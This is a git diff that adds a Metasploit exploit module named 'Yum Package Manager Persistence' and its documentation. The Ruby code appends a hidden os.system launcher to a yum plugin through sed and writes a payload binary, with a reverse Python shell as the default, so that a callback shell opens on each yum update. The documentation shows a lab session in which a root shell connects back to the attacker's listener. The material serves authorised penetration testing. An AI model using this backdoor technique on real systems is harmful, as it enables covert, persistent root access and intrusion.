diff --git a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md new file mode 100644 index 000000000000..3524bf632f8c --- /dev/null +++ b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md @@ -0,0 +1,84 @@ +## Description + +This module will run a payload when the package manager is used. No +handler is ran automatically so you must configure an appropriate +exploit/multi/handler to connect. Module modifies a yum plugin to +launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ +will show what plugins are currently enabled on the system. + +## Verification Steps + +1. Exploit a box that uses Yum +2. `use linux/local/yum_package_manager_persistence` +3. `set SESSION ` +4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed +5. `exploit` + +When the system runs yum update the payload will launch. You must set handler accordingly. + +## Options + +**BACKDOOR_NAME** +Name of backdoor executable + +**PLUGIN** +Name of the yum plugin to target + +**WritableDir** +Writable directory for backdoor default is (/usr/local/bin/) + +**PluginPath** +Plugin path to use default is (/usr/lib/yum-plugins/) + +## Scenarios + +### Tested on Fedora 21 + +``` +msf5 exploit(linux/local/yum_package_manager_persistence) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) + +msf5 exploit(linux/local/yum_package_manager_persistence) > set session 1 +session => 1 +msf5 exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks +plugin => langpacks +msf5 exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136 +lhost => 172.22.222.136 +msf5 exploit(linux/local/yum_package_manager_persistence) > exploit + +[*] /usr/lib/yum-plugins/langpacks.py +[+] Plugins are enabled! +[*] Attempting to modify plugin +[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg +[*] Backdoor will run on next Yum update +msf5 exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500 + +msf5 exploit(linux/local/yum_package_manager_persistence) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) + 2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135) + +msf5 exploit(linux/local/yum_package_manager_persistence) > sessions -i 2 +[*] Starting interaction with 2... + +id +uid=0(root) gid=0(root) groups=0(root) +uname -a +Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 172.22.222.135 - Command shell session 2 closed. +msf5 exploit(linux/local/yum_package_manager_persistence) > +``` + +Note: Session 2 is received after running yum update on the remote host. diff --git a/modules/exploits/linux/local/yum_package_manager_persistence.rb b/modules/exploits/linux/local/yum_package_manager_persistence.rb new file mode 100644 index 000000000000..4da80477d866 --- /dev/null +++ b/modules/exploits/linux/local/yum_package_manager_persistence.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Linux::System + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yum Package Manager Persistence', + 'Description' => %q( + This module will run a payload when the package manager is used. No + handler is ran automatically so you must configure an appropriate + exploit/multi/handler to connect. Module modifies a yum plugin to + launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ + will show what plugins are currently enabled on the system. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Aaron Ringo'], + 'Platform' => ['linux', 'unix'], + 'Arch' => + [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DefaultOptions' => { + 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true', + 'Payload' => 'cmd/unix/reverse_python' + }, + 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum + 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos + OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), + OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) + ]) + + register_advanced_options( + [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']), + OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/']) + ]) + end + + def exploit + # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable + plugin = datastore['PLUGIN'] + full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py" + print_status(full_plugin_path) + unless writable? full_plugin_path + fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system" + end + + # /etc/yum.conf must contain plugins=1 for plugins to run at all + plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf" + unless plugins_enabled.include? 'plugins=1' + fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf' + end + print_good('Plugins are enabled!') + + # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1 + plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf" + plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}" + unless plugin_enabled.include? 'enabled=1' + print_bad("#{plugin_conf} plugin is not configured to run") + fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" + end + + # plugins are made in python and generate pycs on successful execution + unless exist? "#{full_plugin_path}c" + print_warning('Either Yum has never been executed, or the selected plugin has not run') + end + + # check for write in backdoor path and set/generate backdoor name + backdoor_path = datastore['WritableDir'] + unless writable? backdoor_path + fail_with Failure::BadConfig, "#{backdoor_path} is not writable" + end + backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) + backdoor_path << backdoor_name + + # check that the plugin contains an import os, to backdoor + import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" + unless import_os_check.include? 'import os' + fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd" + end + + # check for sed binary and then append launcher to plugin underneath + print_status('Attempting to modify plugin') + launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" + sed_path = cmd_exec "command -v sed" + unless sed_path.include?('sed') + fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found' + end + sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}" + cmd_exec sed_line + + # actually write users payload to be executed then check for write + if payload.arch.first == 'cmd' + write_file(backdoor_path, payload.encoded) + else + write_file(backdoor_path, generate_payload_exe) + end + unless exist? backdoor_path + fail_with Failure::Unknown, "Failed to write #{backdoor_path}" + end + + # change perms to reflect bins in /usr/local/bin/, give good feels + chmod(backdoor_path, 0755) + print_status("Backdoor uploaded to #{backdoor_path}") + print_status('Backdoor will run on next Yum update') + end +end